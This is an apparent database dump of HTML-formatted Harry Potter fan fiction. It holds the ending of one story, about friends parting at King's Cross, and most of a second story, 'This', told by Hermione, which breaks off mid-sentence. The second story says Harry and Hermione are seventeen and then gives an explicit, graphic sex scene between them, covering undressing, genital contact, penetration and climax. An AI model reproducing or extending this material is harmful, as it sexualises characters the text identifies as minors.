Hermione turned ghostly\nwhite.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ntold you, Ron, I don&#8217;t love and tell.&#8221; He turned back to his girlfriend. &#8220;Do I,\nHermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nyou don&#8217;t,&#8221; she sighed and nuzzled his neck.&nbsp; Just then, Lavender popped\nher head into the compartment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;I\nsee you two got comfortable,&#8221; she teased, indicating Hermione wrapped in\nHarry&#8217;s arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Man,\nI&#8217;m glad to see you,&#8221; Ron sighed as she sat down next to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou now?&#8221; she cooed and smiled warmly. &#8220;Did you miss me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hell\nyes, with those two around, I feel like I&#8217;m living in a mushy romance novel.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally, and that&#8217;s why we spend half our time together snogging?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Lavender!&#8221;\nRon gawked at her boldness, and Harry and Hermione started laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&nbsp;\nSo what if they know?&nbsp; I don&#8217;t care.&#8221; She snuggled against him, and Ron\nblushed but put his arm around her shoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntrain lurched, and they slowly began moving.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntwo couples dropped the topics of their &#8216;personal&#8217; lives and talked about their\ntimes at Hogwarts and what they&#8217;d be doing over the summer.&nbsp; Harry had\nkept Hermione in his lap, and Ron kept Lavender in his embrace.&nbsp; They\ndidn&#8217;t mind acting like this with their friends, considering that they both\nknew how serious their relationships actually were.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntrip to London never flew by so fast, and the four of them exited their\ncompartment.&nbsp; They stepped down onto Platform 9 &#190; and headed for the\nbarrier.&nbsp; Wheeling their belongings ahead of them, they each went one at a\ntime through the entryway and emerged into King&#8217;s Cross Station.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nguys, I guess I&#8217;ll see you in few months,&#8221; Harry said sadly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey,\nit ain&#8217;t that long!&#8221; Ron laughed as he hugged his best friend goodbye.&nbsp;\nHermione hugged him goodbye as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron&#8230;&#8221;\nLavender sighed as tears appeared in her eyes, &#8220;&#8230;I&#8217;m gonna miss you, sweetie.&#8221;\nHe took her in his arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nmiss you too, beautiful.&#8221; He planted a soft kiss on her lips and squeezed her\ntightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Reluctantly\nwithdrawing from his arms, Lavender smiled at him one last time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Send\nme an owl, okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Count\non it!&#8221; Ron answered as she headed off to find her parents.&nbsp; He then\nturned to his two best friends.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nI see my mom heading up this way so I better go.&nbsp; See ya in few months!&#8221;\nHe headed up the corridor where Mrs. Weasley was waiting for him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Now,\nit was just Harry and Hermione.&nbsp; She stepped into his arms and held on\ntight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hopefully,\nI&#8217;ll see you in a few days.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;ll\nbe too long,&#8221; she pouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow, but we&#8217;ll make it.&#8221; Bending down, he kissed her long and deep.&nbsp;\nHermione didn&#8217;t want to let him go, but she knew that she had to.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you,&#8221; she whispered into his ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nI love you,&#8221; he whispered into hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Stepping\nback from him, Hermione gave him one last peck on the lips and smiled lovingly\nat him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nparents and I will come get you in a few days, okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nbe waiting.&nbsp; Trust me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bye\nfor now.&#8221; Their fingers slowly separated, and Hermione gathered her things\ntogether.&nbsp; Giving him one last smile, she headed down the platform to find\nher parents.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Although\nHarry was sad to see her go, he knew that it was only temporary.&nbsp; Hedwig\nscreeched in her cage, breaking Harry out of his reverie.&nbsp; Taking a deep\nbreath, he pushed his trolley ahead, keeping an eye out for his Uncle Vernon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Author&#8217;s\nNotes:&nbsp; And so the adventure ends.&nbsp; The characters in this story are\nthe exclusive property of J.K. Rollin.&nbsp; Make sure that you watch for the\nsequel called &nbsp;&nbsp;&nbsp;&nbsp;&#8216;Meet The Parents&#8217;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(164, 1, '\n<p><b><u>This</u></b>&nbsp; by msscribe</p>\n<p><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b></p>\n<p align="center">#</p>\n<p>When I rounded the corner to Harry and Ron&#8217;s room for about the billionth time \n  in my life, nothing was different.&nbsp; </p>\n<p><i>Absolutely nothing at all.</i>&nbsp; </p>\n<p>Ron was sitting on his bed, pretending to study, but really listening to the \n  Muggle CD player Harry and I had gotten him last Christmas, and Harry was pacing \n  the room trying to figure out exactly what he&#8217;d done wrong on his potions assignment.&nbsp;&nbsp;&nbsp; \n  His potion was supposed to have turned purple, but instead it grew hair and \n  had turned a dark gray.&nbsp; </p>\n<p>That&#8217;s where I came in of course.&nbsp; Let&#8217;s just say they liked to leave the books \n  to me.&nbsp; </p>\n<p>&#8220;Looks like your Mandrake root has aged too much,&#8221; I said almost as soon as \n  I&#8217;d entered the messy room, &#8220;I&#8217;ve seen it happen like that before.&#8221;</p>\n<p>Ron acknowledged my presence with his timeless <i>Hermione thinks she knows \n  it all</i> smirk.</p>\n<p>&#8220;Thanks,&#8221; Harry said with his most genuine smile, &#8220;I knew you&#8217;d know right \n  away.&#8221;</p>\n<p>I smiled back and took my usual place at Harry&#8217;s desk, brushing his books aside \n  and tossing a couple of my own among the pile.&nbsp; Harry&#8217;s desk was messy, but \n  unlike Ron&#8217;s, you could at least find it.</p>\n<p>&#8220;Would it hurt you to cast a simple cleaning spell around here now and then?&#8221; \n  I asked them, spotting a half eaten chocolate frog that looked as if it were \n  about to sprout young.</p>\n<p>&#8220;Yes,&#8221; Ron said, &#8220;Because it would leave you nothing to complain about.&#8221;</p>\n<p>I threw my notepad at him and he threw his hands up.&nbsp; Seeing my &#8220;drop dead&#8221; \n  glare, Ron picked up my notes and handed them to me planting a kiss on my cheek.</p>\n<p>&#8220;C&#8217;mon Hermione&#8230;you know we love you.&#8221;</p>\n<p><i>Ron.&nbsp; How on earth could I possibly stay mad at Ron?&nbsp; </i></p>\n<p>&#8220;Hmmm, I guess I&#8217;ll have to take your word for it.&#8221;</p>\n<p>Ron dug into the heap where his desk once stood and came up with a transfiguration \n  book.&nbsp; He was going to study.&nbsp; I was genuinely surprised.&nbsp; When he reached for \n  his coat, I was even more surprised.</p>\n<p>So was Harry.</p>\n<p>&#8220;Where are you going?&#8221; Harry asked, before I could even form the words.</p>\n<p>Ron smiled, winking at Harry, then flushing when he looked at me.</p>\n<p>&#8220;Don&#8217;t you remember?&nbsp; Lavender and I are working on a transfiguration project \n  together.&#8221;</p>\n<p>I tilted my head towards him, thinking about the true motives behind this &#8220;study&#8221; \n  session.</p>\n<p>&#8220;Well, since it looks like your making an attempt to study, I expect to see \n  your marks go up this next term,&#8221; I said sounding an awful lot like Mrs. Weasley.</p>\n<p>Ron noticed.&nbsp; &#8220;Well mum, if you haven&#8217;t got anymore to add, I&#8217;d better get \n  going then.&#8221;</p>\n<p>Ron winked at me, and then he left.&nbsp; And what instantly replaced him was&#8230;. \n  t<i>his</i>&#8230;it&#8230;what&#8230;something that seemed to creep into the air whenever Harry \n  and I were left alone these days.</p>\n<p><i>This</i>.&nbsp;&nbsp; I had spent a lot of time lately thinking about what <i>this</i> \n  was.&nbsp; It made sense, especially since we were seventeen now and puberty had \n  come and gone for Harry leaving behind messy things like hormones, strong muscular \n  arms, and a deepened voice that changed the way I breathed when I wasn&#8217;t expecting \n  him to speak.&nbsp; I supposed I had changed quite a bit too, but if they noticed, \n  they certainly didn&#8217;t say anything.</p>\n<p>&#8220;So you think all I need is younger Mandrake root?&#8221; is what Harry said.</p>\n<p>&#8220;Yep.&nbsp; I think that&#8217;s all you need,&#8221; I answered casually.</p>\n<p>I was fairly adept at pretending that I didn&#8217;t feel <i>this</i>, but it wasn&#8217;t \n  easy.&nbsp; For the next half hour I was mostly quiet, avoiding any in depth conversation \n  for fear that <i>this</i> would rear it&#8217;s uncomfortable head and cause those \n  prickly sensations to creep up behind my ears.</p>\n<p>I sat for another ten minutes listening to Harry rattle on about his last Quidditch \n  match when I came up with a plan.&nbsp; I thought it was a damn good one.&nbsp; I would \n  face <i>this</i> head on.&nbsp; I would confront it, stick my tongue out at it, and \n  let it know that I wasn&#8217;t about to let any unknown confusing entity come between \n  my best friend and I, and I was going to do and act the same way I always did \n  on Thursday nights when Ron usually studied with us.&nbsp; </p>\n<p>I kicked off my shoes and found my spot at the end of Harry&#8217;s bed.&nbsp; I thought \n  I saw relief come over his face and I wondered briefly if he was wondering the \n  same thing I was but I put it aside then, not ready to think about him actually \n  thinking about <i>this </i>too.</p>\n<p><i>Merlin help us if we&#8217;re both crazy.</i></p>\n<p>We talked for quite a while, Harry asking the questions and me providing the \n  answers, and without Ron to distract us; we finished our assignments in record \n  time.&nbsp;&nbsp; I was particularly pleased that Harry did so well with his advanced \n  Arthimancy Project, a subject he had struggled in at the beginning of the year.</p>\n<p>&#8220;Well, I don&#8217;t think I could have done it without you,&#8221; he said.</p>\n<p>His face was so sincere, and his eyes were so startling&#8230;</p>\n<p>I blushed then, against my will, and uttered a polite &#8220;thank you&#8221;.</p>\n<p>He took off his jumper, laying his head back onto his pillow.&nbsp; I pulled mine \n  off as well, and sat &#8220;Indian style&#8221; at the bottom of his bed. </p>\n<p>&#8220;I think that Professor Flitwick will probably give us a pop quiz this Thursday.&nbsp;&nbsp; \n  I saw him in the library making copies of something he seemed reluctant to show \n  anyone,&#8221; I said feeling more relaxed.</p>\n<p>That was until I caught him staring.&nbsp; He was staring at me.&nbsp; I did what any \n  polite person would do in that situation.&nbsp; I ignored him, and rattled on about \n  trivial things for the next five minutes or so.&nbsp; </p>\n<p>He seemed to be pretending to listen.&nbsp; <i>What was he staring at?</i></p>\n<p>Then I noticed the room felt a little breezy, and I looked down to find my \n  oxford shirt&#8230;well, lets just say <i>I had come undone.&nbsp; </i>Nothing completely \n  scandalous, but I was revealing a bit more then I felt comfortable with.</p>\n<p>&#8220;Harry!&#8221; I said, turning crimson and moving my fingers as fast as I could to \n  redo the buttons that had come loose, &#8220;Why didn&#8217;t you say anything?&#8221;</p>\n<p>Harry laughed and sat up, &#8220;I was going to&#8230; but&#8230;well&#8230;I was just about to.&#8221;</p>\n<p>I took his pillow and whacked him so hard I thought for a minute I might have \n  actually injured him.</p>\n<p>Then he attacked.&nbsp; And there were screams mixed with giggles mixed with threats \n  mixed with sighs, and somehow (I think it was after I tried to hex his hair \n  neon pink but failed, instead turning Ron&#8217;s dress shoes that hideous color) \n  I ended up on top of him, buttons undone again, and face flushed.</p>\n<p>And <i>this</i>&#8230;was in the air so thick I could barely breathe.</p>\n<p>I started to roll off of him, but he stopped me, putting his hands on my hips.</p>\n<p>&#8220;Hermione?&#8221; he said, his voice slightly shaky.</p>\n<p>I was drowning in it now.&nbsp; <i>This </i>was causing my stomach to flutter and \n  my mouth to go dry.&nbsp; I thought I must have looked pretty stupid, hovering over \n  him with my mouth slightly open, but he obviously didn&#8217;t think so because that&#8217;s \n  when he pulled my face down to his and kissed me.&nbsp; Just like that.</p>\n<p>I think I yelped.</p>\n<p>He kissed me harder.&nbsp; I kissed him back.&nbsp;&nbsp; I was concentrating very hard on \n  our kiss, having not had much experience in the area, and I even dared to dart \n  my tongue around his mouth.&nbsp; This got a moan from him, so I did it again.&nbsp; </p>\n<p>Then Harry Potter did something that I didn&#8217;t expect.&nbsp; He moved his hands under \n  my skirt and tentatively over my rear end.</p>\n<p>I yelped again.&nbsp; He heard me this time because he broke our kiss and he moved \n  his hands back to my hips.&nbsp; </p>\n<p>&#8220;No, it&#8217;s alright&#8230;&#8221; I said.</p>\n<p>Something flashed in his eyes.&nbsp; He was nervous.&nbsp; </p>\n<p><i>Good</i>, I thought, <i>because I&#8217;m terrified.</i></p>\n<p>He kissed me again.&nbsp; It was a long one, and we had to break away for air after \n  a few seconds.&nbsp; Ron&#8217;s pink shoes caught my attention.</p>\n<p><i>Ron.</i>&nbsp; We couldn&#8217;t let Ron catch us doing<i> this.</i></p>\n<p>&#8220;What time will Ron be back?&#8221; I asked.</p>\n<p>Harry&#8217;s hands had found their way back to my bottom again during our last snog \n  and he groaned in my ear at the mention of Ron&#8217;s name.</p>\n<p>&#8220;Soon&#8230;I guess we should stop,&#8221; he said reluctantly.</p>\n<p>I nodded and rolled off of him sitting up.&nbsp; We were both quiet for a minute, \n  collecting our thoughts about what had just happened.&nbsp; His breathing was noticeably \n  more audible and I struggled to gain some semblance of composure.</p>\n<p>&#8220;That was&#8230;unexpected,&#8221; I said.</p>\n<p>Harry sat next to me, still flushed.&nbsp; &#8220;A little.&#8221;</p>\n<p>Then I&#8217;m not sure what happened.&nbsp; I think it was this thing in the pit of my \n  stomach that told me I wouldn&#8217;t be able to sleep that night if I didn&#8217;t get \n  <i>this</i> out of my system.&nbsp; I didn&#8217;t think much about it.&nbsp; I just said it.</p>\n<p>&#8220;We could go to my room,&#8221; I blurted, sounding a little like Lavender Brown \n  after a few too many butterbeers.</p>\n<p>&#8220;Okay,&#8221; he answered.</p>\n<p>But we still didn&#8217;t move.&nbsp; One minute&#8230;two minutes&#8230;</p>\n<p>&#8220;Now?&#8221; he asked.</p>\n<p>&#8220;Yes,&#8221; I replied.</p>\n<p>We stood to leave.&nbsp; I pulled on my jumper, and grabbed my books.&nbsp; Harry started \n  tying his shoes and everything was nice and casual.&nbsp; Except it wasn&#8217;t.&nbsp; It was \n  <i>pretend </i>casual.&nbsp; I felt like taking his hand and running as fast as I \n  could to my room, so we could continue what it was we had started earlier.</p>\n<p>Then Ron walked in, smiling.</p>\n<p>&#8220;Hey, where are you two headed?&#8221;</p>\n<p>&#8220;No where,&#8221; Harry blurted out in a weird high-pitched voice.</p>\n<p>Ron gave him an odd look.&nbsp; &#8220;All right.&#8221;</p>\n<p>&#8220;Harry and I are just going to my room to finish with Potions, I forgot some \n  ingredients there,&#8221; I lied.</p>\n<p>Harry nodded.&nbsp; Ron found this an acceptable answer and flipped on his CD player \n  again. </p>\n<p>&#8220;Are you going to be long?&#8221; Ron said as we opened the door to leave.</p>\n<p>Harry looked at me and I shrugged my shoulders, hurrying out before Ron could \n  ask any more questions.&nbsp; I felt a little guilty about lying to him, but what \n  was I supposed to say?&nbsp; <i>&#8220;It depends on how far we go, but if all goes well \n  you might not see him until tomorrow.&#8221;</i></p>\n<p>We walked through the common room, not stopping to talk to anyone.&nbsp; We didn&#8217;t \n  even talk to each other.&nbsp; I don&#8217;t know what was going through his mind, but \n  mine was going a mile a minute.&nbsp; </p>\n<p class="MsoBodyText">How far is this going to go?&nbsp; Am I prepared for this?&nbsp; Are \n  we going to be friends after this? Am I wearing the panties with the stupid \n  polka dots all over them?&nbsp; Would he notice even if I were? </p>\n<p class="MsoBodyText"> The tension between us was excruciating.&nbsp; By the time we \n  reached the door to my room, it was obvious we were both anxious to finish <i>this</i>.&nbsp; \n</p>\n<p>As soon as I closed the door behind me, he had my back against the wall, and \n  his mouth was over mine. Any inhibitions he had earlier about having his hands \n  up my skirt had disappeared.&nbsp; He took off his glasses and lay them down on my \n  desk without even breaking our kiss.</p>\n<p>My knees felt too weak to stand much longer and my legs must have started to \n  tremble because he picked me up and carried me to my bed, pinning me underneath \n  of him.&nbsp; </p>\n<p class="MsoBodyText"></p>\n<p>Maybe I had a little tart in me after all because I loved...<i>this</i>.&nbsp; \n   </p>\n<p>His hands moved to the collar of my jumper, and he tried to pull it over my \n  head.&nbsp; It wasn&#8217;t very graceful, and it took us a few moments to get my hair \n  untangled from one of the buttons on it.&nbsp; </p>\n<p>We recovered quickly though, and he began unbuttoning my blouse.&nbsp; He was clumsy \n  at first, but by the time he got to my midriff, he had become quite adept.&nbsp;&nbsp; \n  I threw the blouse aside, sitting up a little so he could fumble with the hooks \n  of my bra.&nbsp; After an few seconds, I felt the last hook give way.&nbsp; I pulled the \n  garment off, tossing it on the floor as well. </p>\n<p>Harry stopped to gaze down at my breasts.&nbsp; The look on his face was intense, \n  like the one he got just before catching the snitch.&nbsp; I was more than a little \n  nervous as he bent his head down to kiss the soft crevice between them.&nbsp; I ran \n  my fingers through his thick hair, as he moved his mouth to one of my nipples.&nbsp; \n  I groaned at the initial contact, not quite expecting the feeling to be so intense.&nbsp;&nbsp;&nbsp; \n  I arched my back as he fed on me, moving from one breast to the other.&nbsp;&nbsp; Feeling \n  an ache between my thighs, I moved my legs farther apart, grinding into him.</p>\n<p>&#8220;Hermione&#8230;&#8221; Harry moaned, apparently not yet expecting that.&nbsp; He pulled back \n  from me slightly. </p>\n<p>&#8220;Hermione&#8230;are we&#8230;I mean&#8230;. are you sure?&nbsp; This would change our friendship forever&#8230;. \n  What I mean is&#8230;&#8221; </p>\n<p class="MsoBodyText">Harry was searching for words.</p>\nHarry, I think we&#8217;ve probably already done that already.&nbsp;&nbsp; And I want this,&#8221; I \nsaid, sounding more confident then I really was.&nbsp; \n<p class="MsoBodyText">He was completely crimson \n  now, as he looked down at me again.</p>\n<p class="MsoBodyText">&#8220;You&#8217;re so beautiful&#8230;are you sure?&#8221; he asked, right before \n  he kissed me again.&nbsp; </p>\n<p class="MsoBodyText">&#8220;I&#8217;m sure Harry,&#8221; I whispered.</p>\n<p class="MsoBodyText">A few hours ago, I was all ready to spend a typical evening \n  with Harry and Ron and the only thing I thought I would accomplish was my History \n  of Magic essay.&nbsp; Now it looked as if I were going to lose my virginity.</p>\n<p class="MsoBodyText">I confessed to him, &#8220;I&#8217;ve \n  never actually done this before.&#8221;</p>\n<p>&#8220;Neither have I,&#8221; he said, looking relieved, &#8220;But I think we&#8217;ll manage.&#8221;</p>\n<p>He pulled his own jumper off, and then the Quidditch t-shirt he wore underneath \n  followed it to the floor.&nbsp; I had seen his bare chest before, but never so close.&nbsp; \n  I let my hands run over it as he kissed me again.&nbsp; His skin felt so good against \n  mine. </p>\n<p class="MsoBodyText">&#8220;Inpregnatus avoidus&#8230;&#8221; \n  I whispered, glad to actually have paid attention during that very embarrassing \n  sex-ed class with Madam Pomfrey.</p>\nFeeling bolder, I let my hands travel to his trousers, managing to undo the button \nand pulling the zipper down.&nbsp; Harry helped, sliding his pants down and kicking \nthem off.&nbsp; He wore boxer shorts.\n<p class="MsoBodyText">Polka dots.&nbsp; I almost laughed, but thought it might not be \n  a good idea just then.</p>\n<p>I froze as I felt his hands move up my skirt and tug on the waist of my tights.&nbsp; \n  He pulled them off of me and most likely sensing my nervousness, moved over \n  me again, locking me into another passionate kiss. </p>\n<p>My lips were swollen and puffy, and I&#8217;m sure I had a drunken glaze over my \n  eyes.&nbsp; He unbuckled my pleated skirt and slid it off effortlessly.&nbsp; </p>\n<p class="MsoBodyText">I had actually worn the nice underwear.</p>\n<p class="MsoBodyText">The thin material of his \n  boxer shorts left little to the imagination, and as he let his weight fall on \n  me, settling between my thighs, I realized that Harry was&#8230;well&#8230;more than I expected.</p>\n<p class="MsoBodyText">I actually began to worry \n  if this was going to work.</p>\n<p class="MsoBodyText">&#8220;Harry&#8230;&#8221; I said as he started \n  to tug at my underwear.</p>\nHe was perfectly still at the sound of my voice.&nbsp; I could tell he was praying \nthe next thing out of my mouth wasn&#8217;t &#8220;Please stop.&#8221;\n<p class="MsoBodyText">&#8220;I&#8217;m just a little nervous&#8230;Please \n  go slow.&#8221;</p>\nThe look on his face melted me.&nbsp; He kissed my forehead, then my nose.\n<p class="MsoBodyText">&#8220;I will&#8230;I promise,&#8221; he said.</p>\n<p>He pulled at my panties now, sliding them down.&nbsp; I can honestly say I had never \n  felt so completely vulnerable, but this was Harry.&nbsp;&nbsp;&nbsp; He helped, gently pulling \n  them off my feet.&nbsp;&nbsp; He let his hand touch me there&#8230;and I relaxed some, breathing \n  into his ear.&nbsp;&nbsp; He kissed me again and I helped him pull his boxers off.&nbsp; I \n  looked down, panicking again and shutting my eyes as tightly as I could.&nbsp; He \n  nudged my legs farther apart with his hips, and gasped when he came into contact \n  with me.&nbsp; He let his head lay on my shoulder, sighing into my ear.&nbsp; I felt his \n  hardness pressing against my enclosure and held my breath as he began to enter \n  me.&nbsp; </p>\n<p>He moved slowly.&nbsp; I would discover later that this part was very difficult \n  for him as he tried his best not to hurt me.&nbsp; I felt a burning sensation, and \n  then he moved a bit farther.&nbsp; I could feel my body adjusting to him.</p>\n<p class="MsoBodyText">That wasn&#8217;t so bad, I thought.</p>\n<p class="MsoBodyText">&#8220;Are you all right?&#8221; he asked, \n  in a voice that didn&#8217;t sound like his anymore.</p>\n&#8220;Yes,&#8221; I said, naively thinking the hardest part was over.&nbsp; I decided to help \nhim, and when I raised my hips up towards him he sucked in sharply and I tensed \nup again, realizing that I was wrong about before having been my maidenhead.&nbsp; \nWe were there now.\n<p class="MsoBodyText">&#8220;It&#8217;s okay,&#8221; I assured him, \n  clinging to my bedcovers.</p>\nHe took me then, and it <i>was</i> painful.&nbsp; I whimpered a little, and he was \nstill for a few moments, letting me get used to him.&nbsp; He was sheathed so tightly \ninside of me that when he started to move, I wondered if it was painful for him \nas well. \n<p class="MsoBodyText">I opened my eyes, and the \n  look on his face confirmed that it wasn&#8217;t.</p>\n<p class="MsoBodyText">I clung onto his back as \n  he moved inside of me, going deeper with every gentle thrust.</p>\n<p class="MsoBodyText">&#8220;Oh God Hermione&#8230;&#8221; he moaned.</p>\n<p>My bed was making a soft creaking noise, perfectly in time to the rhythm of \n  our lovemaking, and I was responding to him now, moving under him, urging him \n  on.&nbsp; After a while, he began to quicken his pace, but I could tell he was holding \n  back for my sake.&nbsp;&nbsp; I didn&#8217;t want him to.&nbsp; I was beginning to enjoy the feeling \n  of him inside of me and I think that&#8217;s when I raised my hips and crashed into \n  him.&nbsp; </p>\n<p>Then Harry cried out &#8220;Oh God&#8221; and I felt him shuddering&#8230;once&#8230;then again&#8230;and \n  I think one more time.&nbsp; That was when I started to cry.</p>\nHe collapsed on top me, and I ran my fingers over his back, feeling the little \nbeads of sweat that had formed there.&nbsp; He lifted his head and I guess my tears \nsurprised him because his face contorted into worry.\n<p class="MsoBodyText">&#8220;Please tell me I didn&#8217;t \n  hurt you&#8230;I&#8217;m so sorry&#8230;&#8221;</p>\n<p class="MsoBodyText">I laughed a little, kissing \n  him on the mouth.</p>\n<p>&#8220;No, it was wonderful.&nbsp; You&#8217;re wonderful.&#8221; </p>\n<p>Harry looked relieved, and kissed me back.&nbsp; He rolled over beside me and we \n  pulled my quilt up around us.&nbsp; We lay there for 